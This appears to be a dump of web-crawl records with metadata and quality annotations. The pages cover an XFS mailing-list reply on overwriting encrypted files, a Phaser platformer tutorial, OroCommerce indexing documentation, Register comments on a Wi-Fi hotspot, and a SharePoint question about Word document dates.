"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
4,163,929,166,393,362,000 | xfs
[Top] [All Lists]
Re: security and journaling
To: Chris Croswhite <ccroswhite@xxxxxxxxxxxx>
Subject: Re: security and journaling
From: Michael Sinz <msinz@xxxxxxxxx>
Date: Mon, 30 Sep 2002 16:24:25 -0400
Cc: linux-xfs@xxxxxxxxxxx
References: <1033412750.13916.20.camel@xxxxxxxxxxxxxxxxxxx>
Sender: linux-xfs-bounce@xxxxxxxxxxx
User-agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.1b) Gecko/20020813
Chris Croswhite wrote:
People,
Thank you for the responses.
I am indeed paranoid about recovering the files that will be encrypted. As people on this list have stated, I need to verify that after a clean
unmount, the journal is zeroed. Or is it possible to force the journal
to zero itself out? Is it possible to force XFS to immediately over
write the original space of files that were encrypted?
If the encryption process uses mmap() to open/read/encrypt/write the
file (and the size does not get smaller) then you would be fine.
This will alter the data on disk "in place" and happens to also be
a fine/fast way to do so :-)
--
Michael Sinz -- Director, Systems Engineering -- Worldgate Communications
A master's secrets are only as good as
the master's ability to explain them to others.
<Prev in Thread] Current Thread [Next in Thread> | {
"url": "http://oss.sgi.com/archives/xfs/2002-09/msg01451.html",
"source_domain": "oss.sgi.com",
"snapshot_id": "crawl=CC-MAIN-2017-04",
"warc_metadata": {
"Content-Length": "9127",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:OGWOOFHOMKJZIOBW55YIIWL6YWCFQYEE",
"WARC-Concurrent-To": "<urn:uuid:a645b30f-3e2c-4694-b7b7-c300f4335e99>",
"WARC-Date": "2017-01-16T21:47:49Z",
"WARC-IP-Address": "192.48.182.195",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:5HFXQXFIE6464WEVDGVADBDU3JHDO47P",
"WARC-Record-ID": "<urn:uuid:88eeb8e1-38ab-473d-8a17-dd2271d0c246>",
"WARC-Target-URI": "http://oss.sgi.com/archives/xfs/2002-09/msg01451.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9bbe0691-da4e-4134-819e-68c3d55a2677>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-70.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-04\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for January 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
4,
22,
23,
51,
52,
98,
135,
172,
210,
236,
296,
333,
411,
434,
442,
443,
472,
473,
617,
689,
758,
813,
814,
883,
948,
1015,
1044,
1045,
1048,
1122,
1161,
1217,
1218,
1219,
1220
],
"line_end_idx": [
4,
22,
23,
51,
52,
98,
135,
172,
210,
236,
296,
333,
411,
434,
442,
443,
472,
473,
617,
689,
758,
813,
814,
883,
948,
1015,
1044,
1045,
1048,
1122,
1161,
1217,
1218,
1219,
1220,
1268
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1268,
"ccnet_original_nlines": 35,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.27397260069847107,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02397260069847107,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.31506848335266113,
"rps_doc_frac_unique_words": 0.6951871514320374,
"rps_doc_mean_word_length": 5.208556175231934,
"rps_doc_num_sentences": 13,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.6582159996032715,
"rps_doc_word_count": 187,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03901436924934387,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.020533880218863487,
"rps_doc_frac_chars_top_3gram": 0.026694050058722496,
"rps_doc_frac_chars_top_4gram": 0.04722793027758598,
"rps_doc_books_importance": -126.99427032470703,
"rps_doc_books_importance_length_correction": -126.99427032470703,
"rps_doc_openwebtext_importance": -75.8538589477539,
"rps_doc_openwebtext_importance_length_correction": -75.8538589477539,
"rps_doc_wikipedia_importance": -44.420501708984375,
"rps_doc_wikipedia_importance_length_correction": -44.420501708984375
},
"fasttext": {
"dclm": 0.18664991855621338,
"english": 0.8279680609703064,
"fineweb_edu_approx": 1.178160548210144,
"eai_general_math": 0.7969767451286316,
"eai_open_web_math": 0.5362606048583984,
"eai_web_code": 0.012635409832000732
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.44",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,988,886,393,429,795,000 | Game development a platformer game with Phaser and HTML 5: Tutorial 6
The goal for this game development tutorial
In this tutorial we want to get your phaser platformer game to this point where it is a little more interest.
Some of the bugs and modifications in this tutorial
We will deal with a few fixes as well. In our last tutorial we had some issues where our background would display above our platforms. In this tutorial I will show you how to fix this. Also we will be scaling our platforms and re positioning them to make them a bit more practical to jump around on. We will be modifying our jump height to get our player up onto those platforms.
The code to make our game a bit better
First in our init method we need to allow for a slightly bigger jump velocity. Here you can set it to 500 as per below.
this.JUMP = 500;
To fix our background issue where the background displays over our platforms we can simply use a method which is in the game object to change the ordering around.
Since our background will always be right at the back we can set our background in the create method like so.
this.game.world.sendToBack(this.background);
Make sure to add this in right after adding our background sprite to our game scene.
Then we made some modifications to the scaling in the game just to make everything a bit more realistic. For that we scaled our platforms down to 75% of it’s initial size. To do this make use of the following piece of code.
this.platforms.scale.setTo(0.75);
Right after creating the platforms group.
What about the collision detection with the platforms
In our last tutorial we could walk through our platforms what a big bummer, to fix this we simply add a collider to our platforms group and our player. We do this with the following piece of code.
this.game.physics.arcade.collide(this.player, this.platforms);
The platforms seems a bit off
We modified the positioning of the platforms a bit to make everything seem more playable as well with the below piece of code.
//Add a few platforms onto our game scene
this.platforms.create(100,130,'platform');
this.platforms.create(350,290,'platform');
this.platforms.create(180,450,'platform');
If you have done everything right you and crossed your T’s and dotted your I’s should end up with something similar to the screenshot below.
Example of the platformer game after implementing tutorial 6
Example of the platformer game after implementing tutorial 6
Comments 1
Leave a Reply
Your email address will not be published. Required fields are marked * | {
"url": "http://blog.softwarelabs.co.za/gamedevelopmenttutorials/game-development-platformer-game-phaser-html-5-tutorial-6/",
"source_domain": "blog.softwarelabs.co.za",
"snapshot_id": "crawl=CC-MAIN-2018-43",
"warc_metadata": {
"Content-Length": "44743",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6E6VOECSW2NRJIZ72B2WMS3IKQWNUCT4",
"WARC-Concurrent-To": "<urn:uuid:9067cc7c-5ef9-4111-8c7a-88b1c21425ef>",
"WARC-Date": "2018-10-18T19:51:06Z",
"WARC-IP-Address": "176.58.98.149",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:O2KZEVUQ3LENK4GBO7IGILCZVLGPYLC6",
"WARC-Record-ID": "<urn:uuid:a12a8e1f-b554-4bde-9d2d-d882cf39855d>",
"WARC-Target-URI": "http://blog.softwarelabs.co.za/gamedevelopmenttutorials/game-development-platformer-game-phaser-html-5-tutorial-6/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5eddc6af-0aa2-42f0-8760-d5149ebd759b>"
},
"warc_info": "isPartOf: CC-MAIN-2018-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-13-167-49.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
70,
71,
115,
116,
226,
227,
279,
280,
660,
661,
700,
701,
821,
822,
823,
840,
841,
1004,
1005,
1115,
1116,
1117,
1162,
1163,
1248,
1249,
1473,
1474,
1475,
1509,
1510,
1552,
1553,
1607,
1608,
1805,
1806,
1807,
1870,
1871,
1901,
1902,
2029,
2030,
2031,
2073,
2116,
2159,
2202,
2203,
2344,
2345,
2406,
2467,
2468,
2479,
2480,
2494,
2495
],
"line_end_idx": [
70,
71,
115,
116,
226,
227,
279,
280,
660,
661,
700,
701,
821,
822,
823,
840,
841,
1004,
1005,
1115,
1116,
1117,
1162,
1163,
1248,
1249,
1473,
1474,
1475,
1509,
1510,
1552,
1553,
1607,
1608,
1805,
1806,
1807,
1870,
1871,
1901,
1902,
2029,
2030,
2031,
2073,
2116,
2159,
2202,
2203,
2344,
2345,
2406,
2467,
2468,
2479,
2480,
2494,
2495,
2565
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2565,
"ccnet_original_nlines": 59,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4583333432674408,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.009469700045883656,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16287879645824432,
"rps_doc_frac_unique_words": 0.4146919548511505,
"rps_doc_mean_word_length": 4.815165996551514,
"rps_doc_num_sentences": 42,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.637467861175537,
"rps_doc_word_count": 422,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.09251969307661057,
"rps_doc_frac_chars_dupe_6grams": 0.05118110030889511,
"rps_doc_frac_chars_dupe_7grams": 0.05118110030889511,
"rps_doc_frac_chars_dupe_8grams": 0.05118110030889511,
"rps_doc_frac_chars_dupe_9grams": 0.05118110030889511,
"rps_doc_frac_chars_top_2gram": 0.03543306887149811,
"rps_doc_frac_chars_top_3gram": 0.02066929079592228,
"rps_doc_frac_chars_top_4gram": 0.015748029574751854,
"rps_doc_books_importance": -207.577392578125,
"rps_doc_books_importance_length_correction": -207.577392578125,
"rps_doc_openwebtext_importance": -148.70065307617188,
"rps_doc_openwebtext_importance_length_correction": -148.70065307617188,
"rps_doc_wikipedia_importance": -87.64315795898438,
"rps_doc_wikipedia_importance_length_correction": -87.64315795898438
},
"fasttext": {
"dclm": 0.039656758308410645,
"english": 0.9089150428771973,
"fineweb_edu_approx": 1.0493677854537964,
"eai_general_math": 0.003915309906005859,
"eai_open_web_math": 0.11623871326446533,
"eai_web_code": 0.0028619200456887484
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-6,974,627,006,925,345,000 | Optimize Website Indexation and Price Recalculation
While website indexation and price recalculation background processes are vital for OroCommerce store, they may be time- and resource- consuming.
This topic summarizes best practices and advice that helps you maximize the efficiency of these processes by tuning your software and hardware.
Note
Price recalculation is required before the indexation.
Price Recalculation
The price list data may contain quite complex dependencies and formula. When price recalculation happens, all of the price list data is analyzed, recalculated if necessary, and saved to the simplified combine tables. This cache-like approach enables quicker data retrieval and increases the OroCommerce storefront responsiveness.
To launch the price recalculation process, run the following console command:
php bin/console oro:price-lists:recalculate --all
Execution time may vary from seconds on bare factory data to multiple hours for several hundred thousand product prices.
To optimize the price recalculation, use the --disable-triggers parameter in the command above to disable the triggers and speed up the SQL insert execution.
Indexation
For faster search and access, the business data in the database should be indexed via an internal search engine. After indexation, the user gets prompt search and auto-complete results even for the extremely large amount of raw data. The engine indexes the information (prices, product descriptions, SEO, attributes etc.) and guarantees quick data retrieval leaving the original data untouched.
OroCommerce search index may be persisted in the database layer (using ORM) or on the file system using the ElasticSearch (the latter is available in the Enterprise edition only).
To launch the indexation process, use the following console command:
php bin/console oro:website:reindex
Execution time may range from few minutes to several hours, depending on the hardware and software configuration and the volume of data that is indexed.
To speed up the indexation, you can:
• Use parallel (multi-thread) indexation. As a prerequisite, ensure that several MessageQueue consumers are running. Next, run the command above with the --scheduled parameter. Depending on the number of CPU cores and consumers running, this can drastically cut the indexation time.
• Use the --scheduled (multithreaded) indexation to control the amount of entities, indexed per message. This will control indexation load distribution among several consumers and allow scaling. Use an example value of */1000 to generate messages with 1000 products each.
Related Articles | {
"url": "https://doc.oroinc.com/master/bundles/commerce/PricingBundle/optimize-index-and-price-calculation/",
"source_domain": "doc.oroinc.com",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "51716",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PHPUNGAR4RQYQG6AOPSLF56EWUUY2Q2Z",
"WARC-Concurrent-To": "<urn:uuid:40be985f-1fd0-46f8-a739-0d16e6fb8290>",
"WARC-Date": "2021-11-27T12:04:56Z",
"WARC-IP-Address": "151.101.1.195",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:WZB56BB64EY6XS7TE5WFUJURKV4BM4M6",
"WARC-Record-ID": "<urn:uuid:7c749067-d7b8-47a8-a4df-b225eb46de63>",
"WARC-Target-URI": "https://doc.oroinc.com/master/bundles/commerce/PricingBundle/optimize-index-and-price-calculation/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f3f69b8c-23a7-467d-b8a4-f20167bd72cf>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-102\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
52,
53,
199,
200,
344,
345,
350,
351,
406,
407,
427,
428,
758,
759,
837,
838,
888,
889,
1010,
1011,
1169,
1170,
1181,
1182,
1577,
1578,
1758,
1759,
1828,
1829,
1865,
1866,
2019,
2020,
2057,
2058,
2343,
2617,
2618
],
"line_end_idx": [
52,
53,
199,
200,
344,
345,
350,
351,
406,
407,
427,
428,
758,
759,
837,
838,
888,
889,
1010,
1011,
1169,
1170,
1181,
1182,
1577,
1578,
1758,
1759,
1828,
1829,
1865,
1866,
2019,
2020,
2057,
2058,
2343,
2617,
2618,
2634
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2634,
"ccnet_original_nlines": 39,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3231441080570221,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.008733619935810566,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1572052389383316,
"rps_doc_frac_unique_words": 0.519788920879364,
"rps_doc_mean_word_length": 5.693931579589844,
"rps_doc_num_sentences": 22,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.808198928833008,
"rps_doc_word_count": 379,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07136236876249313,
"rps_doc_frac_chars_dupe_6grams": 0.03614458069205284,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.0583873987197876,
"rps_doc_frac_chars_top_3gram": 0.018535679206252098,
"rps_doc_frac_chars_top_4gram": 0.02316959947347641,
"rps_doc_books_importance": -196.77163696289062,
"rps_doc_books_importance_length_correction": -196.77163696289062,
"rps_doc_openwebtext_importance": -139.54173278808594,
"rps_doc_openwebtext_importance_length_correction": -139.54173278808594,
"rps_doc_wikipedia_importance": -87.56398010253906,
"rps_doc_wikipedia_importance_length_correction": -87.56398010253906
},
"fasttext": {
"dclm": 0.10373032093048096,
"english": 0.8233688473701477,
"fineweb_edu_approx": 2.1080069541931152,
"eai_general_math": 0.44432777166366577,
"eai_open_web_math": 0.18663686513900757,
"eai_web_code": 0.47448039054870605
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.85",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
7,106,060,493,029,398,000 | back to article Is that a Wi-Fi media server in your pocket?
The distinction between the storage and transmission of stuff – a canyon wide enough to create rival industries in the past – gets more meaningless by the day. Vodafone's next personal Wi-Fi hotspot will have a file sharing built right into the dongle. That's if FCC filings and blog reports can be believed. The next-gen MiFi …
COMMENTS
This topic is closed for new posts.
1. DataFish
Thumb Down
...Brilliant...
...even easier to spread malware and virus apps!
2. Tom 64
Thumb Up
good stuff...
All they need to do is add an FM transmitter for the car, and I'll be sold!
3. Anonymous Coward
Happy
NO big deal
I have already got one many years ago, it is called FM radio.
4. Anonymous Coward
Anonymous Coward
Wait till many cars all have WiFi and storage...
"Honey, I'm going to go out cruising for files. I'll be back in half an hour with some random movies."
Try enforcing the rules with mobile WiFi enabled car-to-car file sharing.
<Insert joke here about motorcyles and gay pr0n.> (relax, just kidding..)
5. jamesrhamilton
Alert
One of the MiFis...
... already has an SD card. Although I'm not sure if it's active...
6. Anonymous John
Unhappy
Media downloads?
It's a good job that the mobile telcos aren't phasing out unlimited data.
Oh ,wait a moment......
7. mp3michael
Local media streaming? NOT interesting
Local media streaming is quaint - like hosting your own email or web server. It's fun for geeks who want to play but it's completely impractical for majority of users. It's expensive in terms of time to manage and cost of the machine and energy to run it. It's also much more limited when compared with online services which have the advantage of economies of scale.
-- MR
8. David Beck
WTF?
Nokia E Series?
Is this somehow different from the DLNA server found in the Nokia E series? I know my E55 has both a client and a server built-in. You do have to turn the server on though, this may exceed the capability of the average touch interface user.
This topic is closed for new posts.
Biting the hand that feeds IT © 1998–2020 | {
"url": "https://forums.theregister.co.uk/forum/all/2010/06/15/vodafone_mifi_router/",
"source_domain": "forums.theregister.co.uk",
"snapshot_id": "crawl=CC-MAIN-2020-16",
"warc_metadata": {
"Content-Length": "55315",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BLWGKY3CZESCVUVHZIDNJSGDX3WKWLKR",
"WARC-Concurrent-To": "<urn:uuid:d1090e56-250f-4ca9-81bb-f3a53a70a558>",
"WARC-Date": "2020-04-01T03:30:38Z",
"WARC-IP-Address": "104.18.235.86",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:BF4LQ6OYL6PJYE65HE4MGETMWQ4F4VMP",
"WARC-Record-ID": "<urn:uuid:83152700-8def-4407-8a87-328558d67feb>",
"WARC-Target-URI": "https://forums.theregister.co.uk/forum/all/2010/06/15/vodafone_mifi_router/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7a02cb1f-58d0-4a7a-b52f-5b4a9cdef11d>"
},
"warc_info": "isPartOf: CC-MAIN-2020-16\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-235.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
61,
62,
391,
392,
401,
402,
438,
452,
467,
468,
488,
489,
542,
543,
555,
568,
569,
587,
588,
668,
669,
691,
701,
702,
718,
719,
785,
786,
808,
829,
830,
883,
884,
991,
992,
1070,
1071,
1149,
1150,
1170,
1180,
1181,
1205,
1206,
1278,
1279,
1299,
1311,
1312,
1333,
1334,
1412,
1413,
1441,
1442,
1458,
1459,
1502,
1503,
1874,
1875,
1885,
1886,
1902,
1911,
1912,
1932,
1933,
2178,
2179,
2215,
2216
],
"line_end_idx": [
61,
62,
391,
392,
401,
402,
438,
452,
467,
468,
488,
489,
542,
543,
555,
568,
569,
587,
588,
668,
669,
691,
701,
702,
718,
719,
785,
786,
808,
829,
830,
883,
884,
991,
992,
1070,
1071,
1149,
1150,
1170,
1180,
1181,
1205,
1206,
1278,
1279,
1299,
1311,
1312,
1333,
1334,
1412,
1413,
1441,
1442,
1458,
1459,
1502,
1503,
1874,
1875,
1885,
1886,
1902,
1911,
1912,
1932,
1933,
2178,
2179,
2215,
2216,
2257
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2257,
"ccnet_original_nlines": 72,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3461538553237915,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04273504018783569,
"rps_doc_frac_lines_end_with_ellipsis": 0.09589041024446487,
"rps_doc_frac_no_alph_words": 0.19230769574642181,
"rps_doc_frac_unique_words": 0.6461126208305359,
"rps_doc_mean_word_length": 4.359249114990234,
"rps_doc_num_sentences": 43,
"rps_doc_symbol_to_word_ratio": 0.023504270240664482,
"rps_doc_unigram_entropy": 5.197215557098389,
"rps_doc_word_count": 373,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03444033861160278,
"rps_doc_frac_chars_dupe_6grams": 0.03444033861160278,
"rps_doc_frac_chars_dupe_7grams": 0.03444033861160278,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02767528034746647,
"rps_doc_frac_chars_top_3gram": 0.013530139811336994,
"rps_doc_frac_chars_top_4gram": 0.02091021090745926,
"rps_doc_books_importance": -225.1632843017578,
"rps_doc_books_importance_length_correction": -225.1632843017578,
"rps_doc_openwebtext_importance": -109.38066864013672,
"rps_doc_openwebtext_importance_length_correction": -109.38066864013672,
"rps_doc_wikipedia_importance": -90.16780853271484,
"rps_doc_wikipedia_importance_length_correction": -90.16780853271484
},
"fasttext": {
"dclm": 0.040046218782663345,
"english": 0.9371910691261292,
"fineweb_edu_approx": 1.3259412050247192,
"eai_general_math": 0.018906649202108383,
"eai_open_web_math": 0.06460387259721756,
"eai_web_code": 0.0005816200282424688
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.665",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "5",
"label": "Comment Section"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
9,033,573,727,247,747,000 | 1
I have Googled to death the difference between the Quick Parts Publish Date and the SharePoint 2013 library modified date and publish date. When a document is approved, the Quick Parts publish date is not updated with the date it was approved. It is in the Header. So, what is this piece of metadata? How can I get the SharePoint published date and date modified in the word document?
• I don't know what you mean by the Sharepoint 'publish date' - is this a custom date field you have made? – Tally May 30 '19 at 7:57
0
This is by design, actually you need to add custom filed in SharePoint so that you can get the SharePoint published date and modified date in word document.
|improve this answer|||||
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
